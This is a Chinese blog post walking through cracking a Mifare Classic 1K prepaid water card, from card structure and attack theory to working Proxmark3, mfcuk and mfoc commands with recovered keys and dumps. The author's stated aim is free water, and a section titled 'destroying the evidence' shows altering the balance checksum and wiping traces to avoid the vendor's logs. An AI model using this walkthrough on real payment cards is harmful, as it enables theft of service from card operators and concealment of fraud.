M1卡

详谈Mifare Classic 1K卡

为啥要写这个文章?天气闷热,内心烦躁,水卡莫得钱了,喝不上水,充卡的人也不来,怎么办?干就完了

0x01 什么是Mifare Classic 1k卡

Mifare Classic 1K卡简称M1卡,属于非接触式射频卡。而与射频卡进行通讯的技术,叫做近场通讯技术,简称NFC。

M1卡分为16个扇区,每个扇区对应4块(块0-块3),共64块,编号为0-63.第0扇区的第0块用于存放厂商代码,已经固化无法更改。其余区的第0-2块用于存放数据,块3为控制块用于存放密码A、存取控制、密码B,结构如下:

A0 A1 A2 A3 A4 A5 FF 07 80 69 B0 B1 B2 B3 B4 B5

(密码A 6字节) (存储控制 4字节) (密码B 6字节)

结构



并且每个扇区块3中的密码和存储控制全部都是独立的,独立控制本扇区的各种操作,每个扇区都能实现不同的功能,所以广泛用作一卡通。

卡中每个块包含16字节,所以M1卡的容量=16扇区*4块*16字节=1024字节=1k (M1卡的由来)。

卡片的第一扇区第一段,储存了一个全球唯一的UID,其他还有UID效验位和厂商信息,按规范生产的卡片,该段在出厂时会被写入保护,只能读取不能写入。当然另外还有一种特殊的UID卡,UID能被修改。

0x02 准备工作

先判断手里的水卡类型,使用Mifare Classic Tool软件读取卡片信息,注意,手机需要支持nfc

家里的备用机魅族Mx4 Pro(魅族旗舰不咋给力了)

可以看到卡的型号为Mifare Classic 1K ,由恩智浦半导体公司(NXP)制造

这个工具表面上看起来很强大但实际操作起来并不是那样,除了读一个UID其余的几乎什么都有木有,自带的字典也很鸡肋。

破解原理:

1)暴力破解:

暴力破解是最简单粗暴、不需要多少技术含量的,就是比较费时,但这并不妨碍大家对它喜爱之情。因为M1是被动卡,需要读卡器为之供能,一旦读卡器切断电源,卡中临时数据就会丢失,所以无论试错多少次密码都不会被锁定。特别是一些厂商偷懒用弱密码,花不了多少时间就能破解。

2)克隆卡片:

这算是最简单又实用的方法了。因为M1卡加密扇区里面保存着各种数据,所以可以克隆一张带有同样数据的克隆卡。这就会用到一种叫UID卡的特殊M1模拟卡。前面说过,每张卡在0扇区的0块都会存放厂商代码,所以里面也保存了UID编号,是无法修改的。但是这种特殊的UID卡该区域没有设定保护,可以随意修改UID,因此可以制作一张与目标卡数据完全相同的克隆卡。

3)重放攻击:

重放攻击是基于M1卡的PRNG算法漏洞实现的。当读卡器读卡时就会产生随机序列,但卡本身不带电,所以每次断电后在重新连接,就会生成一模一样的序列,所以可能把这个序列算出来。只要控制好时间就能知道当卡获取能量后某一刻时间的随机序列,从而实现修改数据。

4)密钥窃听:

利用工具Promark 3可以嗅探M1卡(即便是全加密卡)在和读卡器进行数据交换时的数据,然后利用XOR工具就能把扇区密钥算出来。

5)验证漏洞:

当读卡器读卡的扇区时,卡会发一个随机序列给读卡器,读卡器收到序列后会利用自身算法加密该随机序列再反馈给卡,卡片接收后再用自己算法计算,如果结果一致就认为该读卡器是合法授权的,然后开始进行数据传输。这就产生了问题:当读卡器访问另一个扇区时,又会重复上述步骤,而此时卡片与读卡器之间的数据交换已被算法加密过,而这个算法又是由扇区密钥决定,因此就会导致这个密钥泄露。

0x03 ACR122U工具

工具:ACR122U(tb有的还自带软件)

没错就是这个玩意

商家附赠的软件:

软件界面破解时

电脑连接ACR122U,打开验证漏洞破解软件尝试使用默认密码破解,如破解成功将会在软件所在目录生产.dump文件。

DUMP文件

如果出现”没有找到用默认密码加密的扇区,退出“说明卡片为全加密,所有扇区的加密密码都不是默认密码

用UltraEdit或者WinHex和TTHexEdit之类的十六进制编辑器打开,就可以看到Dump文件的数据了,便算大功告成了。

卡内的数据


接下来写入或克隆就欧克拉

nested authentication 验证漏洞原理简介

因为攻击原理决定这种方法只适合特定情况下的破解。这种攻击是在已知16个扇区任意一个扇区的密钥之后,可以获得其他未知扇区的密钥。前面说过16个扇区是独立,那为什么通过某个扇区还能获取到其他扇区的密钥?这与卡片和读卡器之间的交互通讯方式有关。

第一次验证时,读卡器首先验证第0扇区密钥,卡片给读卡器发送一个明文随机数n1。读卡器内部用加密算法加密n1,同时产生一个密文随机数n2发送给卡片,卡片用自己的密钥解密n2,如果解密出来的数和之前发送给读卡器的随机数n1相同,则通过验证,之后的通讯都会加密传输。

第一次的传输为明文,之后的都为加密传输。并且在验证的过程中,是卡片先主动发送随机数给读卡器。如果读卡器用错误的密码加密发送给卡片,卡片解密错误,则验证中断,也就没有之后的加密传输。所以我们至少需要知道一个扇区的密钥,利用这个扇区验证。之后其他扇区的通讯密文包含了这个扇区的密钥信息,再通过验证漏洞软件解出密文中的密钥,进而得到所有扇区的密钥。

darkside 攻击原理简介

如果卡片不存在默认密钥,则验证漏洞攻击行不通。前面说到破解的关键是让卡片发送加密数据,再通过算法解出密钥,所以需要欺骗卡片发出加密数据。经过研究人员大量的测试后发现卡片算法中存在漏洞,当读卡器发出的密文中某8bit数据正确时,读卡器就会回复一个4bit的密文,而这个密文就包含了密钥的信息,再通过解密算法即可解出密钥。如果一个扇区的密钥被解出,就可以用nested authentication 验证漏洞破解出其他扇区的密钥。

mfcuk就是基于darkside原理攻击全加密卡的程序。mfcuk是在linux平台下的程序,windows平台下没有原生的支持,有的都是个人编译的exe软件。

0x04 Proxmark3工具

工具:Proxmark3工具(较贵,国外大部分教程都是此工具)

在使用proxmark3对M1卡进行破解时 ,我们可以使用hf mf mifare命令去探测基于PRNG的漏洞出现的Key 。

例如:

然后使用hf mf nested 1 0 A FFFFFFFFFFFF 去探测各个扇区的密码,例如:

跑一会便会得到如下key表

用[size=1em]hf mf rdsc 1 a 1866c42fe6a8
来读取第一扇区数据:

同样的用 hf mf rdsc 2 b 1866c42fe6a8
读取第二扇区数据,这里为什么用B密码是有原因的(因为控制位设置的问题 )。
依次读取16个扇区即可。 然后一一对比看看哪个变化了,如何变化。

0x05 Kali Linux

啊,终于该用到我尘封已久的Kali了,Vmware,打开

kali可是好东西,嘻嘻。包含了很多安全测试工具,其中关于NFC的就有NFC-MFOC,NFC-MFUCK和NFC-MFCclassic等工具

mfuck:Github

libnfc:Github

脚本地址:提取码4027

在下载的文件目录下执行:

sh 2183000857.txt

测试一下

root@kali:~# nfc-list
nfc-list uses libnfc 1.7.0-rc7
NFC device: ACS / ACR122U PICC Interface opened
1 ISO14443A passive target(s) found:
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
       UID (NFCID1): e1  cd  82  61  
      SAK (SEL_RES): 08

这里面包含了读卡器型号和卡片UID等信息

尝试用mfuck进行darkside破解

root@kali:~# mfcuk -C -R 0 -s 250 -S 250

mfcuk - 0.3.8
Mifare Classic DarkSide Key Recovery Tool - 0.3
by Andrei Costin, zveriu@gmail.com, http://andreicostin.com

WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_skgt.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_ratb.mfd'
WARN: cannot open template file './data/tmpls_fingerprints/mfcuk_tmpl_oyster.mfd'

INFO: Connected to NFC reader: ACS / ACR122U PICC Interface


VERIFY: 
	Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f
	Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER:  0

温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  0080bb043614    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  36519da2c2c6    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  1c5d13000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  c5af46000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  c5af46000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  36519d000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;


温馨提示 : 如果此密钥重复出现3次以上请记录下来并且尝试使用这个密钥进行验证 --------->  fedcba000026    <---------此为密码;

mfcuk -C -R 0 -s 250 -S 250命令表示尝试恢复第0扇区的密钥,250表示延时250ms。密钥fedcba000026出现了很多次,这就是其中一个扇区的密钥。知道密钥就可使用mfoc程序进行验证漏洞攻击。

注:上面出现的错误和警告不影响最终结果。密钥使用方法:

root@kali:~# mfoc -k fedcba000026 -O mycard.mfd
The custom key 0xfedcba000026 has been added to the default keys
Found Mifare Classic 1k tag
ISO/IEC 14443A (106 kbps) target:
    ATQA (SENS_RES): 00  04  
* UID size: single
* bit frame anticollision supported
       UID (NFCID1): 92  cc  1d  04  
      SAK (SEL_RES): 08  
* Not compliant with ISO/IEC 14443-4
* Not compliant with ISO/IEC 18092

Fingerprinting based on MIFARE type Identification Procedure:
* MIFARE Classic 1K
* MIFARE Plus (4 Byte UID or 4 Byte RID) 2K, Security level 1
* SmartMX with MIFARE 1K emulation
Other possible matches based on ATQA & SAK values:

Try to authenticate to all sectors with default keys...
Symbols: '.' no key found, '/' A key found, '\' B key found, 'x' both keys found
[Key: fedcba000026] -> [xxxxxxxxxxxxxxxx]
[Key: ffffffffffff] -> [xxxxxxxxxxxxxxxx]
[Key: a0a1a2a3a4a5] -> [xxxxxxxxxxxxxxxx]
[Key: d3f7d3f7d3f7] -> [xxxxxxxxxxxxxxxx]
[Key: 000000000000] -> [xxxxxxxxxxxxxxxx]
[Key: b0b1b2b3b4b5] -> [xxxxxxxxxxxxxxxx]
[Key: 4d3a99c351dd] -> [xxxxxxxxxxxxxxxx]
[Key: 1a982c7e459a] -> [xxxxxxxxxxxxxxxx]
[Key: aabbccddeeff] -> [xxxxxxxxxxxxxxxx]
[Key: 714c5c886e97] -> [xxxxxxxxxxxxxxxx]
[Key: 587ee5f9350f] -> [xxxxxxxxxxxxxxxx]
[Key: a0478cc39091] -> [xxxxxxxxxxxxxxxx]
[Key: 533cb6c723f6] -> [xxxxxxxxxxxxxxxx]
[Key: 8fd0a4f256e9] -> [xxxxxxxxxxxxxxxx]

Sector 00 -  FOUND_KEY   [A]  Sector 00 -  FOUND_KEY   [B]  
Sector 01 -  FOUND_KEY   [A]  Sector 01 -  FOUND_KEY   [B]  
Sector 02 -  FOUND_KEY   [A]  Sector 02 -  FOUND_KEY   [B]  
Sector 03 -  FOUND_KEY   [A]  Sector 03 -  FOUND_KEY   [B]  
Sector 04 -  FOUND_KEY   [A]  Sector 04 -  FOUND_KEY   [B]  
Sector 05 -  FOUND_KEY   [A]  Sector 05 -  FOUND_KEY   [B]  
Sector 06 -  FOUND_KEY   [A]  Sector 06 -  FOUND_KEY   [B]  
Sector 07 -  FOUND_KEY   [A]  Sector 07 -  FOUND_KEY   [B]  
Sector 08 -  FOUND_KEY   [A]  Sector 08 -  FOUND_KEY   [B]  
Sector 09 -  FOUND_KEY   [A]  Sector 09 -  FOUND_KEY   [B]  
Sector 10 -  FOUND_KEY   [A]  Sector 10 -  FOUND_KEY   [B]  
Sector 11 -  FOUND_KEY   [A]  Sector 11 -  FOUND_KEY   [B]  
Sector 12 -  FOUND_KEY   [A]  Sector 12 -  FOUND_KEY   [B]  
Sector 13 -  FOUND_KEY   [A]  Sector 13 -  FOUND_KEY   [B]  
Sector 14 -  FOUND_KEY   [A]  Sector 14 -  FOUND_KEY   [B]  
Sector 15 -  FOUND_KEY   [A]  Sector 15 -  FOUND_KEY   [B]  

We have all sectors encrypted with the default keys..

Auth with all sectors succeeded, dumping keys to a file!
Block 63, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 62, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 61, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 60, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 59, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 58, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 57, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 56, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  
Block 55, type A, key fedcba000026 :00  00  00  00  00  00  ff  07  80  69  fe  dc  ba  00  00  26  
Block 54, type A, key fedcba000026 :00  00  00  00  00  00  00  00  00  00  00  00  00  00  00  00

很长很长很长

mfoc -k fedcba000026 -O mycard.mfd -k表示key——即fedcba000026,-O(大写的o)表示output,mycard.mfd表示从卡片中下载数据后储存的文件。

当然,也可使用mfoc程序的mfoc -O test.mfd命令直接进行默认密钥的验证漏洞破解,就是前面在windows平台第一次尝试的破解方法。从上面输出结果可以看到所有扇区的密钥已被解出,并且卡片中存储的数据也被下载并保存为mycard.mfd。

0x06 毁尸灭迹

破解是破解完了,但是怕机器自带日志记录啊,,把我卡记录下来岂不是完蛋了?

将未修改的卡和我的进行对比,发现我的1扇区有数据别人的都没有。。

果断清空,上机测试没有问题

还有5扇区的不太相同,我似乎发现了什么

除了开头的FA5C 0000 05AC FFFF和对照卡不一样之外,其他数据都相同。接着试试除了这8字节的开头保留,其余清零,在饮水机上测试,一切正常,回来再次读卡的时候又重新生成了一样的数据,可以排除影响。

接着将这8字节开头清零,拿去饮水机消费,发现提示Error,看来的确是一个校验,我们必须保证对数据的敏感,可以看到0000和FFFF,两个值恰好是取反了一次,那FA5C和05A3是不是也一样?FA5C转成二进制是1111101001011100,05A3转成二进制是0000010110100011,结果很清楚,两个值是互相取反保存,那我将它修改成0000和FFFF,其余部分清零,拿去饮水机测试,一切正常。

为了保险起见,我将水卡无用的数据全部清零,用0000和FFFF代替取反的值,应该没有痕迹了吧??

0x07 尾记

修改数据后能使用的关键是卡片的数据和扣费机器处于离线状态,机器不能对比卡片的数据。像一卡通就是数据联网的卡片,并且本身也是安全级别非常高的CPU卡,任何消费和充值联网服务器都有记录。默默的看着手里的一卡通卡片,着东西可是难搞,不成还得渗透他的服务器?不成。不那么差钱。?

posted @ 2022-03-28 19:30  myrj  阅读(2741)  评论(0编辑  收藏  举报